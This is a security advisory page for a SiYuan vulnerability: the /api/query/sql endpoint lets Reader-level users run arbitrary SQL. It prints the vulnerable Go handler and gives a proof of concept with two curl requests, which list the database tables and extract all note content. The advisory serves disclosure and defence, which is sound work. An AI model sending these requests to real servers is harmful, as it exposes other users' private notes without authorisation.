GHSA-jqwg-75qf-vmf9

Suggest an improvement
Source
https://github.com/advisories/GHSA-jqwg-75qf-vmf9
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-jqwg-75qf-vmf9/GHSA-jqwg-75qf-vmf9.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-jqwg-75qf-vmf9
Aliases
Published
2026-03-03T21:17:58Z
Modified
2026-03-23T04:56:06Z
Severity
  • 5.7 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access
Details

Summary

/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.

Details

The vulnerable endpoint is in kernel/api/sql.go

func SQL(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }

    stmt := arg["stmt"].(string)
    result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}

The route in kernel/api/router.go only uses CheckAuth middleware

e.g (similar)

ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)

PoC

Start SiYuan with the publish service turned on


# List out all tables in the database

curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'


# Extract all user content from the database

curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT id, content FROM blocks"}'

Impact

  • High impact, reader users can query all data in the db including other users notes
  • SQL api is mostly for select queries, but without validation, writes can still happen
  • Malicious SQL can lead to serious performance issues

this is an auth bypass, the sql feature is for power users but even readers can use it

Database specific
{
    "cwe_ids":  [
        "CWE-862",
        "CWE-89"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-03-03T21:17:58Z",
    "nvd_published_at":  "2026-03-06T08:16:26Z",
    "severity":  "MODERATE"
}
References

Affected packages

Go / github.com/siyuan-note/siyuan/kernel

Package

Name
github.com/siyuan-note/siyuan/kernel
View open source insights on deps.dev
Purl
pkg:golang/github.com/siyuan-note/siyuan/kernel

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
0.0.0-20260113130602-4ba64580c29c

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-jqwg-75qf-vmf9/GHSA-jqwg-75qf-vmf9.json"